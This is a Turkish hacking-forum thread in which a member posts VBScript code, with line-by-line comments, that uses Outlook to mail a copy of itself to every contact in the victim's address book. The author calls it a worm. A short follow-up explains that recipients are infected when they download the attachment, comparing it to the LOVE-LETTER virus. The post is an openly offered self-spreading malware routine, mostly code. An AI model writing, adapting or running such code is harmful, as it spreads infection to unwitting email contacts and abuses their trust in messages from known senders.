THT DUYURU

chat
Script Dilleri Scriptlerin oluşturulduğu dillerin dökümanlarının ortaklaşa paylaşıldığı alandır.

takipci
Seçenekler

VBSScript Mailden Bulaşma

greenscreen - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
11/2015
Nereden:
C:\Windows
Mesajlar:
26
Konular:
12
Teşekkür (Etti):
3
Teşekkür (Aldı):
3
Ticaret:
(0) %
2
17536
25-10-2018 23:10
#1
Merhabalar
Ben Biraz Yeniyim Neyse
VBS Script de Mail Üzerinden Bulaşma Kodu:
Kod:
Dim x 
on error resume next 
Set fso ="Scripting.FileSystem.Object" 
Set so=CreateObject(fso) 
Set ol=CreateObject("Outlook.Application") 
Set out= WScript.CreateObject("Outlook.Application") 
Set mapi = out.GetNameSpace("MAPI") 
Set a = mapi.AddressLists(1) 
For x=1 To a.AddressEntries.Count 
Set Mail=ol.CreateItem(0) 
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) 
Mail.Subject="Mail Başlığı" 
Mail.Body="Mailde Ne Yazacak?" 
Mail.Attachments.Add Wscript.ScriptFullName
Mail.Send 
Next 
ol.Quit
bu kodlar Mail Yoluyla Bulaşır Ben Bunun İçin Outlook Kullandım
Kodları Açıklıyayım:
Set ol=CreateObject("Outlook.Application") //yeni bi outlook applicationı
Set mapi = out.GetNameSpace("MAPI") ////
Set a = mapi.AddressLists(1) /////bu kodlar maildeki bütün listedeki kişileri buluyor.
For x=1 To a.AddressEntries.Count /////
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).Ad dressEntries(x) //Bu Mail Listesindeki kişileri seçiyor
Mail.Subject="Mail Başlığı" //Mailin Başlığını Ayarlıyor
Mail.Body="Mailde Ne Yazacak?" //Mailin İçinde Ne yazacak onu ayarlıyor
Mail.Attachments.Add Wscript.ScriptFullName//wormumuzu ek dosya olarak ekliyor
Mail.Send // Maili Yolluyor
Umarım Anlatabilmişimdir
ProMen - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
09/2018
Mesajlar:
188
Konular:
12
Teşekkür (Etti):
3
Teşekkür (Aldı):
12
Ticaret:
(0) %
25-10-2018 23:13
#2
Maili açtığında mı bulaşıyor indirmesimi gerekiypr anlamadım
greenscreen - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
11/2015
Nereden:
C:\Windows
Mesajlar:
26
Konular:
12
Teşekkür (Etti):
3
Teşekkür (Aldı):
3
Ticaret:
(0) %
08-11-2018 20:10
#3
Hayır Adamın İndirmesi Gerekiyor LOVE-YOU-LETTER Virüsüde Böyle Zaten.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler